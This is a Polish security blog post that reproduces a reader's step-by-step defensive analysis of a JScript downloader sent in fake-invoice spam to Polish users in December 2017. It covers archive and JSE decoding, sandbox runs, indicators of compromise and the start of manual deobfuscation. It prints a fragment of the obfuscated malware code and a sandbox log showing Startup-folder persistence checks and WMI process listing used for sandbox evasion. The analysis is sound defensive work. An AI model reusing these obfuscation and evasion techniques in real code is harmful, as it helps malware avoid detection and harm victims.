Obszerna analiza złośliwego oprogramowania na polskim przykładzie

dodał 25 stycznia 2018 o 08:01 w kategorii Złośniki  z tagami:
Obszerna analiza złośliwego oprogramowania na polskim przykładzie

Jeden z naszych Czytelników, Robert, podesłał nam bardzo szczegółowy opis swojej pracy nad analizą pierwszego etapu ataku na polskich internautów sprzed paru miesięcy. Czytajcie i uczcie się, bo jest czego.

Choć w większości przypadków zespoły reagujące na incydenty mają co analizować i ich celem jest jak najszybsze wydobycie najistotniejszych informacji z otrzymanej próbki, to czasem trzeba tematowi przyjrzeć się dużo bliżej, by mieć pewność, że niczego się nie przegapiło. Takie podejście krok po kroku do analizy pierwszego etapu infekcji opisuje tekst Roberta, któremu oddajemy głos.

Spis treści:

  1. Wstęp
    1. Czas to pieniądz
    2. Zaciemnienie kodu
      1. Teoria
      2. Zaciemnienie kodu, dobre czy złe?
  2. Ekstrakcja przykładu [praktyka – faza 0]
    1. Pozyskanie szablonu poczty elektronicznej z kampanii
    2. Pozyskanie próbki złośliwego oprogramowania
    3. Analiza 1 – * (jeden do wielu)
    4. Nie ufaj, to podstawa
  3. Odciemnienie z wykorzystaniem sandboksa [praktyka – faza 1]
    1. SEKOIA DROPPER ANALYSIS
    2. REVERSE.IT
    3. VIRUSTOTAL
    4. JOESandbox
    5. Zebranie wskaźników infekcji z sandboksa
  4. Odciemnienie JavaScript półmanualne [praktyka – faza 2]
    1. Zdejmujemy zaciemnienie wyglądu (http://jsbeautifier.org/)
    2. Zdejmujemy zaciemnienie danych i kontroli
      1. Przygotowania i omówienie narzędzi
      2. Zamiana ship33 na String[“fromCharCode”]
      3. Zdejmowanie zaciemnionych danych
      4. Czyszczenie łańcuchów znaków typu „S” + „c” + „r” + „i” + „p” + „t” + „
      5. Dekodowanie tekstu unicode
    3. Dodatkowe wskaźniki infekcji pozyskane z metody półautomatycznej
  5. Wnioski
    1. Wykrywanie niechcianego oprogramowania dzięki wskaźnikom infekcji
    2. Blokowanie niechcianego oprogramowania dzięki wskaźnikom infekcji
    3. Prewencja i utwardzanie stacji pod względem bezpieczeństwa
    4. Dzielenie się wskaźnikami infekcji ze społecznością analityków i próby poznania aktorów
  6. Podsumowanie
  7. Dodatkowe materiały

Wstęp

W poniższym tekście zajmiemy się zdejmowaniem zaciemnienia z niechcianego oprogramowania, które ostatnio atakuje instytucje finansowe w Polsce (kampanie rozsyłające niechciane wiadomości zostały wysłanie w dniach 8.12.2017, 14.12.2017, 15.12.2017). W zasobach plikowych dołączonych do tego opracowania będą opracowane wszystkie trzy kampanie, natomiast samo opracowanie skupi się na dniu 8.12.2017. Dodatkowo postaram się pokazać cały proces działania zespołu bezpieczeństwa, który walczy z takimi zagrożeniami. Z uwagi na fakt istnienia różnego typu niechcianego oprogramowania oraz wielu technologii ich tworzenia, skupimy się w tym opracowaniu wyłącznie na języku JavaScript oraz na komponencie ataku nazywanym dropperem/downloaderem. Przestępcy zmieniali w czasie kampanie, domeny, numery IP, metodę zaciemnienia, natomiast sam komponent służący, z punktu widzenia przestępcy, do bezpiecznego dostarczenia i uruchomienia docelowego niechcianego oprogramowania na stacji użytkownika nie był wymieniany. Jak już na wstępie widać, proces ataku jest modularny, odpowiednie komponenty kupuje się na aukcjach, czyli są kosztem dla atakujących. Wymienione wyżej elementy (wygląd kampanii, domeny, IP C2, metoda zaciemnienia, sumy kryptograficzne i inne elementy identyfikujące złośliwe oprogramowanie) stanowią tak zwane wskaźniki infekcji (IOC). Podobnie zresztą jak narzędzia użyte do zaciemnienia kodu, czy też sama taktyka działania przestępcy oraz kampanii. Komponent służący do dostarczania i uruchomienia niechcianego oprogramowania nazywać będziemy downloaderem lub dropperem, różnica jest subtelna i nie będziemy w nią wnikać. Dla uproszczenia przyjmijmy natomiast, że downloader posiada większą analitykę od droppera. Sam proces rozwoju droppera/downloadera po stronie przestępcy zgodny jest zresztą z tzw. piramidą bólu, o której wspomina metodologia kill chain poruszana przez wielu obrońców, do których i ja należę. Piramidę tę definiujemy poniżej.

Piramida bólu zakłada, iż wskaźniki infekcji bliżej czubka piramidy trudniej przestępcy zmienić, a te niżej zmieniają się zwykle raz na tydzień lub nawet w odstępie godzinowym. Ta teoria jest o tyle istotna, iż będziemy chcieli dowiedzieć się więcej o analizowanej próbce, niż tylko numer IP, domena czy suma kryptograficzna pliku. Metodologia kill chain została zaadoptowana do teorii cyber obrony przez LockheedMartin i z powodzeniem jest stosowana przez wiele zespołów skupiających się na obronie. Zakłada ona, że eliminacja lub utrudnienie wcześniejszych faz ataku powoduje eliminację lub utrudnienie kolejnych faz u przestępcy. W tym opracowaniu skupimy się na wykrywaniu, utrudnianiu i/lub powstrzymaniu fazy dostarczania (z ang. Delivery) niechcianego oprogramowania na końcową stację użytkownika.

Czas to pieniądz

Aby zrozumieć cały proces ataku i skutecznie go powstrzymać, trzeba zrozumieć biznes, co do którego stosowane jest niechciane oprogramowanie. W kolejnych akapitach zobaczymy, iż niechciane oprogramowanie wcale nie musi być skomplikowane, aby było skuteczne. Czas skutecznego działania, czy też czas, po którym zespół obrońców wykrywa i powstrzymuje niechciane oprogramowanie można przeliczyć na pieniądze. Z jednej strony przestępca zdobywa więcej danych, które może sprzedać lub też fizycznie kradnie więcej środków ofierze. Z drugiej strony obrona generuje więcej kosztów w aspektach reputacyjnych, odszkodowawczych, posprzątania po ataku (analiza powłamaniowa, poprawienie procesów, aby były bardziej bezpieczne, czy też zatrudnienie większej ilości analityków dla poprawy jakości procesów bezpieczeństwa). Dochodzimy tutaj do fundamentu stosowania zaciemniania kodu z punktu widzenia przestępcy. Zanim wyjaśnimy ten termin ustalmy, że proces zaciemnienia kodu z punktu widzenia przestępcy ma za zadanie wygenerowanie dla niego większych zysków poprzez opóźnienie analityki po stronie obrońców, przynajmniej jeśli chodzi o języki skryptowe. Pobocznym czynnikiem jest ominięcie mechanizmów sygnaturowych IPS, antywirusa itp. Narzędzia zaciemnienia kodu dla jednego droppera/downloadera dadzą zawsze inny kod w wyniku, więc antywirus nie ma tu szans. Język JavaScript należy do klasy interpretowalnych języków programowania, a więc proces zaciemnienia kodu z założenia będzie niedoskonały z uwagi na to, iż zaciemniony lub zaszyfrowany i przetworzony kod na końcu i tak musi być odtworzony do postaci takiej, którą rozumie interpreter. Innymi słowy zdjęcie zaciemniena w tym wypadku to kwestia czasu i w tych granicach będziemy poruszać się dalej.

Zaciemnienie kodu

Teoria

Zaciemnienie kodu, czy też transformacja języka interpretowalnego z punktu widzenia teorii może być przeprowadzona na trzech poziomach:

  • Transformacja wyglądu – zmiany nazw identyfikatorów, zmiana formatowania, usuwanie komentarzy.
  • Transformacja danych – rozdzielenie zmiennych, konwersja statycznych danych do procedury, zmiana kodowania, zmiana długości życia zmiennej, łączenie zmiennych skalarnych, zmiana relacji dziedziczenia, rozłam/łączenie tablic, zmiana porządku instancji zmiennych / metod / tablic.
  • Transformacja kontroli – zmiana przebiegu, rozszerzenie warunków pętli, zmiana kolejności komend / pętli / wyrażeń, metody, ogólnikowe wyrażenia, klonowanie metod.

Istnieje wiele narzędzi, lepszych czy gorszych, dostępnych przez przeglądarkę czy też instalowanych, darmowych czy płatnych do wykonania takiego zaciemnienia na kodzie JavaScript. Przykłady:

Niestety narzędzia służące do procesu zdjęcia zaciemnienia są na wczesnym etapie rozwoju. Jest wiele pomysłów, jak to robić. Nie będziemy się tym zajmować w tym opracowaniu. My wykorzystamy do tego narzędzia sandboksowe (i pokażemy ich pewną ułomność) oraz narzędzia półautomatyczne pracujące na leksemach języka programowania.

Zaciemnienie kodu, dobre czy złe?

Sam proces zaciemnienia kodu może być dobry i przydatny. Warto go znać od strony programisty dla “swojego zawodowego profesjonalizmu”. Powód tego jest banalny, proces zaciemnienia kodu z punktu widzenia programisty/firmy developerskiej może być przydatny do:

  1. Ochrony wartości intelektualnej. Stosowne opracowanie znajduje się pod tym linkiem.
  2. Spełnienia zaleceń regulatorów i standardów bezpieczeństwa (OWASP)

Ekstrakcja przykładu [praktyka – faza 0]

Przechodząc do zadań analitycznych, powinno się przyjąć pewne standardy bezpieczeństwa pracy z niechcianym oprogramowaniem. Ja przyjmuję następujące:

  1. Nie pracujemy na komputerze, który uznajemy za wrażliwy.
  2. Staramy się zachować zasadę heterogeniczności środowiska. Analizę wykonujemy na systemie operacyjnym oraz środowisku, które różni się od środowiska właściwego dla detonacji próbki. W tym wypadku analizy dokonamy na środowisku Linux narzędziami napisanymi głównie w pythonie.

Pozyskanie szablonu poczty elektronicznej z kampanii

Zespół bezpieczeństwa wykrył i dostał do analizy pocztę elektroniczną zawierająca załączniki oraz podobną treść.

Widać, że przestępcom się śpieszy – zmniejszają czas pozostały użytkownikowi na otwarcie faktury/pliku. Taka niskich lotów socjotechnika. Załóżmy, że posiadamy narzędzia statystyczne typu Grafana czy Elastic, które wytypowały potencjalnie złośliwą korespondencję. Pozyskaliśmy pierwsze wskaźniki infekcji (szablon poczty elektronicznej stosowanej w kampanii rozsyłającej złośliwą komunikację ze zmiennym czasem nakłaniającym użytkownika do otwarcia załącznika, spam przyszedł z adresu „rc@miran-wafel.com.pl”). Robimy zrzuty ekranu do artykułu edukacyjnego dla użytkowników. Szablon pozbawiony załączników możemy dostarczyć operatorom serwerów pocztowych celem konfiguracji ich narzędzi sieciowych i bezpieczeństwa w trybie prewencji na tę kampanię. Edukacja użytkownika końcowego, ale także zespołów IT, to ważna rzecz w całym procesie. My zajmujemy się dalszą analizą.

Pozyskanie próbki złośliwego oprogramowania

Wypakowujemy w środowisku Linux wszystkie załączniki z całej korespondencji elektronicznej dotyczącej tej kampanii. Oprogramowanie munpack potrafi rozpakować załączniki MIME. Zdarza się, iż przestępcy używają różnych technik i narzędzi zaciemnienia kodu, adresów C2 służących do dystrybucji docelowego niechcianego oprogramowania aplikowanego przez dropper/downloader. Taktyka ta zwiększa szansę przeżywalności dystrybucji, bo możemy przeoczyć część złośliwej kampanii. Procesowi analizy poddajemy więc całą dostępną kampanię, a nie jej wyrywek w formie jednego emaila.

$ for i in `ls *.eml`;do munpack $i;done

PDF-Faktura-037772.rar (application/octet-stream)
PDF-Faktura-037772.rar.1 (application/octet-stream)
PDF-Faktura-037772.rar.2 (application/octet-stream)
PDF-Faktura-037772.rar.3 (application/octet-stream)
PDF-Faktura-037772.rar.4 (application/octet-stream)
PDF-Faktura-037772.rar.5 (application/octet-stream)
PDF-Faktura-037772.rar.6 (application/octet-stream)
PDF-Faktura-037772.rar.7 (application/octet-stream)

Analiza 1 – * (jeden do wielu)

Sprawdzamy, czy mamy do czynienia z jednym czy z wieloma komponentami, które mają za zadanie dostarczyć i uruchomić niechciane oprogramowanie na stacji użytkownika końcowego. Zrobimy to licząc sumę kryptograficzną wszystkich załączników. Jak widać nasze zadanie jest mniej złożone. Czeka nas analiza jednego pliku.

$ sha256sum *rar*
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.1
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.2
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.3
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.4
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.5
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.6
69bd02e8c1aa4b120a7272ec4946df63be61e97bdf39e26929f0048e5c119eac  PDF-Faktura-037772.rar.7

Nie ufaj, to podstawa

$file PDF-Faktura-037772.rar

PDF-Faktura-037772.rar: ACE archive data version 20, from Win/32, version 20 to extract, with recovery record, solid

Jak widzimy to nie RAR, a plik ACE. Użycie egzotycznego programu kompresującego ma za zadanie oszukanie narzędzi monitorowania oraz użytkownika końcowego. W większości przypadków użytkownik wybierze najprostsze i najszybsze rozwiązanie ściągając dowolny program do rozpakowania tego pliku lub będzie klikał na obecny do czasu, aż nie dostanie pozytywnego dla siebie komunikatu. Niektóre pakery miały też błędy, które pozwalały po kliknięciu dwa razy w spakowany plik wypakować i uruchomić zawartość.

		
unace e ./PDF-Faktura-037772.rar 2>/dev/null
UNACE v2.5     Copyright by ACE Compression Software       May  7 2015 03:22:08
                                                                          
processing archive /..017/./PDF-Faktura-037772.rar
Working: Creating listfile. Please wait.
Working: Reading archive. Please wait.
  extracting PDF-Faktura-037772.jse                        CRC OK

Wykorzystaliśmy narzędzie unace.

Po rozpakowaniu otrzymaliśmy plik JSE (JScript Encoded File). Ten typ pliku został wymyślony przez Microsoft, aby mieć możliwość zakodowania zarówno kodu w języku JavaScript jak i Visual Basic do jednego wspólnego formatu, który może być automatycznie uruchamiany w samym systemie operacyjnym lub przeglądarce Internet Explorer bez potrzeby instalacji innych narzędzi czy interpreterów. Interpretacją formatu jse zajmują się narzędzia wscript.exe lub cscript.exe, domyślnie dostarczane z systemem Windows. Przestępcy korzystają z tej drogi. W środowisku Linux może być problem z odkodowaniem pliku jse. Wykorzystamy do tego narzędzie decoder.c z pakietu interpretera JavaScriptu box-js. Rozpakowujemy więc JScript Encoded File do JavaScript.

	
$ ./boxjs_decoder_jse PDF-Faktura-037772.jse PDF-Faktura-037772_js.txt

Wykorzystaliśmy narzędzie box-js i jego dekoder.c

Odciemnienie z wykorzystaniem sandboksa [praktyka – faza 1]

Sandbox – narzędzie automatyczne, które potrafi w odizolowanym środowisku uruchomić próbkę kodu i zapisać wszelkie informacje na temat zmiany tego środowiska w logach. Mądrzejsze sandboksy czasami jeszcze wyciągają wnioski i korelują dane. Osoby stosujące do pracy zawodowej narzędzia sandbox powinny wziąć dwa aspekty pod uwagę:

  1. Deweloperzy piszący niechciane oprogramowanie wiedzą o sandboksach i stosują metody unikania analizy swojego dzieła przez te narzędzia. Metody te są zwykle trywialne, ale skuteczne. Obejrzymy to na przykładzie, patrząc jak downloader sprawdza czy na liście procesów środowiska, w którym został uruchomiony, nie ma procesu o nazwie oznaczającej uruchomienie w środowisku wirtualnym.
  2. Sandboksy produkują masę logów, podobnie jak rejestratory CCTV produkują masę filmów. To zaleta, ale i wada. Analityk musi to wszystko przeczytać i wyciągnąć odpowiednie wnioski, a na koniec wymyśleć mechanizm prewencji i detekcji oraz powstrzymać atak. A “czas to pieniądz”.

Patrząc na obydwa punkty, jeśli organizacja chce skutecznie walczyć z niechcianym oprogramowaniem musi wydać pieniądze na dobrego analityka, który pomimo utrudnień z kroku pierwszego powstrzyma atak albo w punkcie drugim będzie wiedział jak zinterpretować logi i również efektem będzie powstrzymanie ataku. Mówimy o niechcianym oprogramowaniu lub jego komponencie, który z założenia jest zaprojektowany tak, aby antywirus go nie wykrył. Dodatkowo stosuje zaciemnienie kodu, aby ominąć mechanizmy sygnaturowe antywirusa oraz wydłużyć czas pracy analityka.

SEKOIA DROPPER ANALYSIS

Jak sama nazwa wskazuje służy do analizy dropperów/downloaderów. Narzędzie nastawione na technologie JavaScript/VBScript/PDF, dokumenty Microsoft Office. Potrafi zinterpretować kod i zapisać próby zmiany systemu operacyjnego do logu. Korzysta przy tym z szeregu narzędzi analitycznych, których sercem jest box-js. Z zamysłem piszemy tutaj o interpretacji, a nie o uruchomieniu próbki (w przeciwieństwie do innych sandboksów, podanych niżej). Ma to zaletę taką, iż jest nikła szansa na uruchomienie niechcianego oprogramowania poza środowisko analityczne. Zaletą interpretacji jest poprawniejsza korelacja i wyciąganie wniosków o analizowanym komponencie. Wadą natomiast jest ograniczenie polegające na tym, iż możemy zinterpretować tylko to, co rozumie interpreter. Innymi słowy, jeśli box-js nie ma w swoim kodzie funkcji, modułu, komponentu ActiveX do interpretacji leksemu języka programowania (np. w JavaScript pdfdoc(…) ) to jego praca zakończy się błędem. Narzędzie to nie zawsze zadziała. Spróbujmy więc użyć narzędzia sekoia na naszej próbce:

Co widzimy:

8 Dec 07:00:37 - WScript.scriptfullname.get() => (string) '/data/decoded (1).txt'
8 Dec 07:00:37 - ActiveXObject(Scripting.FileSystemObject)
8 Dec 07:00:37 - new Scripting.FileSystemObject[14]
8 Dec 07:00:37 - new DriveObject[15](C:)
8 Dec 07:00:37 - DriveObject[15](C:).name = (string) 'C:'
8 Dec 07:00:37 - new Collection[16]
8 Dec 07:00:37 - WScript.CreateObject(WScript.Shell)
8 Dec 07:00:37 - new WScript.Shell[17]
8 Dec 07:00:37 - ActiveXObject(ADODB.Stream)
8 Dec 07:00:37 - new ADODB_Stream[18]
8 Dec 07:00:37 - ActiveXObject(Shell.Application)
8 Dec 07:00:37 - new Shell.Application[19]
8 Dec 07:00:37 - ActiveXObject(Msxml2.ServerXMLHTTP)
8 Dec 07:00:37 - new MSXML2.XMLHTTP[20]
8 Dec 07:00:37 - MSXML2.XMLHTTP[20].onreadystatechange = (undefined) 'undefined'
8 Dec 07:00:37 - WScript.Shell[17].ExpandEnvironmentStrings(%USERPROFILE%) => C:\Users\User
8 Dec 07:00:37 - WScript.Shell[17].ExpandEnvironmentStrings(%TEMP%) => C:\Users\User\AppData\Local\Temp
8 Dec 07:00:37 - new Folder2[21](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
8 Dec 07:00:37 - new FolderItem[22](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
8 Dec 07:00:37 - FolderItem[22](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).name = (string) 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
8 Dec 07:00:37 - FolderItem[22](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).path = (string) 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
8 Dec 07:00:37 - Folder2[21](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).self = (object) 'FolderItem[22](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)'
8 Dec 07:00:37 - Shell.Application[19].Namespace(7) => Folder2[21](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
8 Dec 07:00:37 - Folder2[21](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).self.get() => (object) 'FolderItem[22](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)'
8 Dec 07:00:37 - FolderItem[22](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).path.get() => (string) 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'
8 Dec 07:00:37 - Scripting.FileSystemObject[14].drives.get() => (object) 'Collection[16]'
8 Dec 07:00:37 - Scripting.FileSystemObject[14].OpenTextFile(/data/decoded (1).txt)
8 Dec 07:00:37 - new TextStream[23]
8 Dec 07:00:37 - TextStream[23].ReadLine()
8 Dec 07:00:37 - TextStream[23].Close()
8 Dec 07:00:37 - WScript.Popup(The document provided as a PDF source was invalid.,10,Error,16)
8 Dec 07:00:37 - Scripting.FileSystemObject[14].FileExists(C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fb.jse) => false
8 Dec 07:00:53 - GetObject(winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
8 Dec 07:00:53 - new AutomationObject[24](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined)
8 Dec 07:00:53 - AutomationObject[24](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined).ExecQuery(Select * from Win32_Process)
8 Dec 07:00:53 - new Enumerator[25] for undefined
8 Dec 07:00:53 - AutomationObject[24](winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2, undefined).ExecQuery(Select * from Win32_OperatingSystem)
8 Dec 07:00:53 - new Enumerator[26] for [ { BOOTDEVICE: '\\Device\\HarddiskVolume1',?    BUILDNUMBER: '14393',?    BUILDTYPE: 'Multiprocessor Free',?    CAPTION: 'Microsoft Windows 10 Pro',?    CODESET: '1250',?    COUNTRYCODE: '420',?    CREATIONCLASSNAME: 'Win32_OperatingSystem',?    CSC ... (truncated)
8 Dec 07:00:53 - Enumerator[26].item(0) => { BOOTDEVICE: '\\Device\\HarddiskVolume1',?  BUILDNUMBER: '14393',?  BUILDTYPE: 'Multiprocessor Free',?  CAPTION: 'Microsoft Windows 10 Pro',?  CODESET: '1250',?  COUNTRYCODE: '420',?  CREATIONCLASSNAME: 'Win32_OperatingSystem',?  CSCREATIONCLASSNAME ... (truncated)
8 Dec 07:00:53 - >>> FIXME: undefined[Caption] not defined
8 Dec 07:00:53 - Enumerator[26].item(0) => { BOOTDEVICE: '\\Device\\HarddiskVolume1',?  BUILDNUMBER: '14393',?  BUILDTYPE: 'Multiprocessor Free',?  CAPTION: 'Microsoft Windows 10 Pro',?  CODESET: '1250',?  COUNTRYCODE: '420',?  CREATIONCLASSNAME: 'Win32_OperatingSystem',?  CSCREATIONCLASSNAME ... (truncated)
8 Dec 07:00:53 - Enumerator[26].item(0)[Version] => undefined
8 Dec 07:00:53 - >>> Silencing catch TypeError: Cannot read property 'length' of undefined
    at Proxy.atend (env/wscript.js:671:44)
    at /data/decoded (1).txt:1:171618
    at ContextifyScript.Script.runInContext (vm.js:53:29)
    at Object.runInContext (vm.js:108:6)
    at run_in_ctx (/app/jailme.js:322:16)
    at Object.<Canonymous> (/app/jailme.js:357:20)
    at Module._compile (module.js:624:30)
    at Object.Module._extensions..js (module.js:635:10)
    at Module.load (module.js:545:32)
    at tryModuleLoad (module.js:508:12)
Exception occured: object /data/decoded (1).txt:1
v1967arms35t=false;v1967muffled34t=true;ship33=String["\x66\x72\x6F\x6D\x43"+"\x68\x61\x72\x43\x6F\x64\x65"];function ulrich(t,y,u){return u['len'+'gth'];};v1967might46t=false;v1967difficulty8t=false;v1967open69t=false;v1967just23t=true;v1967word39t=false;v1967sleepiness60t=true;v1967force8t=false;v1967back25t=true;v1967inbed39t=true;v1967thewisdom63t=true;v1967chose72t=false;var v1967spots79t='undefined'; var \u0045\u006e\u006d\u004e=this[(function nonamethis7(){v1967packed84t='things74';v1967ready38t='fill27';v1967That17t='While76'; this7=72; return ship33(this7-ulrich(1,'this7',arguments));})('many53','this80','Nakahwohma6')+(function nonameGr9(){v1967than54t={M:86};v1967individual29t={R:64}; Gr9=112; return ship33(Gr9-ulrich(1,'Gr9',arguments));})('snow10','real60')+(function nonamewo7(){v1967moving45t=653;switch (v1967moving45t){case 'zs': data('v1967moving45t'); break;}; wo7=120; return ship33(wo7-ulrich(1,'wo7',arguments));})('grew8','notes11','There32')+(function nonamerou7()

ReferenceError: pdfdoc is not defined
    at /data/decoded (1).txt:1:291975
    at ContextifyScript.Script.runInContext (vm.js:53:29)
    at Object.runInContext (vm.js:108:6)
    at run_in_ctx (/app/jailme.js:322:16)
    at Object <Canonymous>(/app/jailme.js:357:20)
    at Module._compile (module.js:624:30)
    at Object.Module._extensions..js (module.js:635:10)
    at Module.load (module.js:545:32)
    at tryModuleLoad (module.js:508:12)
    at Function.Module._load (module.js:500:3)
8 Dec 07:00:53 - ==> Cleaning up sandbox.

File Details
JavaScript Analysis
SEKOIA - https://www.sekoia.fr - Terms of Service - Privacy Policy 

Jak widać narzędzie nie znalazło obiektu pdfdoc. Fakt ten spowodował zakończenie pracy z tym interpreterem, ale pozyskaliśmy kilka wskaźników infekcji:

  • Oprogramowanie korzysta z wscript.exe,
  • Oprogramowanie Korzysta z technologii ActiveXObject i jej komponentów FileSystemShell, ADODOB, Shell, Msxml2.ServerXMLHTTP,
  • Oprogramowanie sięga do katalogu Temp użytkownika,
  • Oprogramowanie sięga do katalogu Startup użytkownika oraz sprawdza czy istnieje tam plik fb.jse,
  • Listuje procesy i informacje o systemie operacyjnym z wykorzystaniem technologii Windows Management Instrumentation (WMI).

Z tych bogatych informacji wiemy już, że nie mamy do czynienia z dropperem a raczej downloaderem. Wskazuje na to zaawansowana, ale prosta logika komponentu złośliwego.

REVERSE.IT

Jest to typowy sandbox uruchamiający próbkę. Pozyskaliśmy adres IP 216.58.213.142 i port 80 wykorzystywany przez złośliwe oprogramowanie, natomiast nie mieliśmy żadnych danych na temat wykorzystanej przez przestępców technologii. Nie mieliśmy też informacji, jak oraz czy złośliwe oprogramowanie stosuje jakieś techniki dające mu przeżywalności restartu na maszynie użytkownika. Zwróćmy uwagę na stopień wykrywania złośliwego kodu przez oprogramowanie antywirusowe.

VIRUSTOTAL

VirusTotal – to narzędzie z wieloma silnikami antywirusowymi. Wysyłając tam niechciane oprogramowanie poznamy informację na temat tego, który antywirus wykrywa nasz złośliwy komponent.

Detection ratio: 0 / 59

0 / 59 antywirusów wykryje tę aplikację – przykra świadomość. Przy okazji pokazuje to prawdziwość tezy głoszonej przez profesjonalistów ds. obrony, „iż antywirusy, nawet te najlepsze już nie wystarczają. Co nie oznacza, że nie należy ich stosować”

JOESandbox

To dość zaawansowane narzędzie sandboksowe, które potrafi korelować logi i wyciągać samo wnioski. Przyjrzyjmy się wynikom pracy tego narzędzia na przykładzie kilku wspomnianych kampanii w tym opracowaniu:

  1. Kampania z 15.12.2017 PL086563411_PDF.ace (wykrywalność antywirusów na poziomie 5%, analiza w sandboksie zakończona błędem). Oczywiście może to też być spowodowane problemem z dekompresją próbki
  2. Kampania z 14.12.2017 faktury_pdf.rar (wykrywalność antywirusów po dobie na obecności downloadera 10% – analiza w sandboksie zakończona błędem). Oczywiście może to też być spowodowane problemem z dekompresją
  3. Kampania z 08.12.2017 PDF-Faktura-037772.jse (wykrywalność antywirusów na poziomie 20%, analiza zakończyła się sukcesem, raport w zasobach do tego opracowania)Zachowanie downloadera z tej kampanii obrazuje graf:

Zebranie wskaźników infekcji z sandboksów

Złosliwe oprogramowanie realizuje następujące funkcje:

  • komunikuje się z IP: (zależne od kampanii&),
  • listuje procesy w systemie operacyjnym,
  • listuje informacje o systemie operacyjnym,
  • wykonuje operacje w wymienionych niżej lokalizacjach:
    • Folder2[21](C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
    • Scripting.FileSystemObject[14].FileExists(C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fb.jse)
    • 8 Dec 07:00:37 – WScript.Shell[17].ExpandEnvironmentStrings(%TEMP%) => C:\Users\User\AppData\Local\Temp
  • korzysta z technologii:
    • 8 Dec 07:00:37 – ActiveXObject(Scripting.FileSystemObject)
    • 8 Dec 07:00:37 – WScript.CreateObject(WScript.Shell)
    • 8 Dec 07:00:37 – ActiveXObject(ADODB.Stream)
    • 8 Dec 07:00:37 – ActiveXObject(Shell.Application)
    • 8 Dec 07:00:37 – ActiveXObject(Msxml2.ServerXMLHTTP)
    • Uruchamia interpreter wscript.exe i startuje procesy cmd.exe oraz certutil.exe

Podsumowując, wiele narzędzi sandbox zakończyło analizę błędem a te, które dostarczyły skutecznie wskaźniki infekcji, nie podały logiki działania droppera/downloadera. Analizując niechciane oprogramowanie w narzędziach automatycznych powinniśmy wyciągać wnioski na podstawie wielu źródeł wiedzy.

Odciemnienie JavaScript półmanualne [praktyka – faza 2]

W rozdziale 2.3 został wygenerowany poprawny kod JavaScript komponentu złośliwego. Od tego momentu spróbujemy zastosować analizę półmanualną, i zobaczymy, czego nowego się dowiemy o tym oprogramowaniu. W analizowanej próbce widzimy podstawowe fragmenty składni typu break, catch, try, pętle, if języka programowania JavaScript.

Mamy 0,5 MB tekstu w jednej linii do analizy. Postaramy sobie z tą ilością poradzić w kolejnych rozdziałach. Ze względu na możliwości współczesnych przeglądarek blok kodu znajdziecie w archiwum z materiałami.

Zdejmujemy zaciemnienie wyglądu (http://jsbeautifier.org/)

Wklejamy treść pliku z poprzedniego punktu do narzędzia i wykonujemy standardowe “wygładzanie” na stronie jsbeautifier.org. Narzędzie jsbeautifiler ma również stosowne implementacje konsolowe. Po przetworzeniu otrzymujemy uporządkowany blok kodu, który także znajdziecie w archiwum z materiałami.

Mamy zatem 0,5 MB tekstu do analizy. To 24 tysiące linii kodu. Widzimy już strukturę języka JavaScript. Kod źródłowy kojarzy się z jakimś automatem do zaciemniania kodu, a wartości podane na końcu pliku z czasem generacji kodu w tym automacie. Oczywiście są to wyłącznie przypuszczenia. Nawet jeśli uda się ustalić, co to za automat, to z reguły takie narzędzia pracują tylko w jedną stronę. Zaciemniają kod źródłowy, ale już nie zdejmują tego zaciemnienia.

Zdejmujemy zaciemnienie danych i kontroli

Narzędzia:

Przygotowania i omówienie narzędzi

  • translate.py – to narzędzie, które przyjmuje następujące parametry:translate.py -f -s decode-3.py PDF-Faktura-037772_js2.txt Decode
    • -f – przetwórz cały plik tekstowy
    • -s <skrypt> z zastosowaniem skryptu o podanej nazwie jako parametr
    • Dalej jest plik tekstowy, który będzie naszymi danymi oraz polecenie Decode

    Narzędzie transalte.py wykorzystuje w swoim pliku konfiguracyjnym funkcję pythona “re.sub(regexp,uruchamiana funkcja, dane,flagi))”, która gdy dopasuje wyrażenie regularne to potrafi uruchomić / wykonać akcję na danym dopasowanym fragmencie tekstu.

  • https://pythex.org/ – to narzędzie, które posłuży nam do konstruowania wzorców wyrażeń regularnych. Uwaga jest taka, że nie skupiamy się tutaj nad szybkością czy jakością samych wyrażeń regularnych, a na dopasowaniu globalnym do zaciemnionego kodu, celem zdjęcia tego zaciemnienia.
